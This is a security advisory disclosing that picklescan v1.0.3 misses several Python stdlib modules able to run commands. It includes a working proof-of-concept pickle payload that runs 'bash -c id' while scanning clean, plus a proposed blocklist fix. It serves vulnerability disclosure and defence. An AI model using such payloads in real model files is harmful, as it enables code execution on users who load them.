PickleScan has multiple stdlib modules with direct RCE not in blocklist

Summary

picklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.

Severity

Critical (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.

Affected Versions

• picklescan <= 1.0.3 (all versions including latest)

Details

Unblocked RCE Modules

| Module | Function | RCE Mechanism | picklescan Result | |--------|----------|--------------|-------------------| | uuid | _get_command_stdout(cmd, *args) | subprocess.Popen((cmd,) + args) | CLEAN | | _osx_support | _read_output(cmdstring) | os.system() via temp file | CLEAN | | _osx_support | _find_build_tool(toolname) | Command injection via %s | CLEAN | | _aix_support | _read_cmd_output(cmdstring) | os.system() | CLEAN | | _pyrepl.pager | pipe_pager(text, cmd) | subprocess.Popen(cmd, shell=True) | CLEAN | | _pyrepl.pager | tempfile_pager(text, cmd) | os.system(cmd + ...) | CLEAN | | imaplib | IMAP4_stream(command) | subprocess.Popen(command, shell=True) | CLEAN | | test.support.script_helper | assert_python_ok(*args) | Spawns python subprocess | CLEAN |

All 8 functions are in Python's standard library and importable on all platforms.

Scanner Output

$ picklescan -p uuid_rce.pkl
No issues found.

$ picklescan -p aix_rce.pkl
No issues found.

$ picklescan -p imaplib_rce.pkl
No issues found.

Meanwhile:

$ python3 -c "import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())"
uid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)

Blocklist Analysis

picklescan v1.0.3's _unsafe_globals dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:

• uuid — not blocked
• _osx_support — not blocked
• _aix_support — not blocked
• _pyrepl — not blocked
• _pyrepl.pager — not blocked (parent wildcard doesn't apply since _pyrepl isn't blocked)
• imaplib — not blocked
• test — not blocked
• test.support — not blocked
• test.support.script_helper — not blocked

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# uuid._get_command_stdout — arbitrary command execution
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("uuid") + sbu("_get_command_stdout") + b"\x93"
    + sbu("bash") + sbu("-c") + sbu("id")
    + b"\x87" + b"R"   # TUPLE3 + REDUCE
    + b"."              # STOP
)

# Scan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN

# Execute: runs `id` command
pickle.loads(payload)

Tested Against

• picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release
• picklescan v0.0.21 — same result (modules never blocked in any version)

Impact

Any system using picklescan for pickle safety validation is vulnerable. This includes:

• HuggingFace Hub — uses picklescan server-side to scan uploaded model files
• ML pipelines — any CI/CD or loading pipeline using picklescan
• Model registries — any registry relying on picklescan for safety checks

An attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.

Suggested Fix

Add to _unsafe_globals in picklescan:

"uuid": "*",
"_osx_support": "*",
"_aix_support": "*",
"_pyrepl": "*",
"imaplib": {"IMAP4_stream"},
"test": "*",

Architectural recommendation: The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider:

1. Switching to an allowlist (default-deny) for permitted globals
2. Treating ALL unknown globals as dangerous by default (currently marked "Suspicious" but not counted as issues)

Resources

• picklescan source: scanner.py lines 120-219 (_unsafe_globals)
• Python source: Lib/uuid.py, Lib/_osx_support.py, Lib/_aix_support.py, Lib/_pyrepl/pager.py, Lib/imaplib.py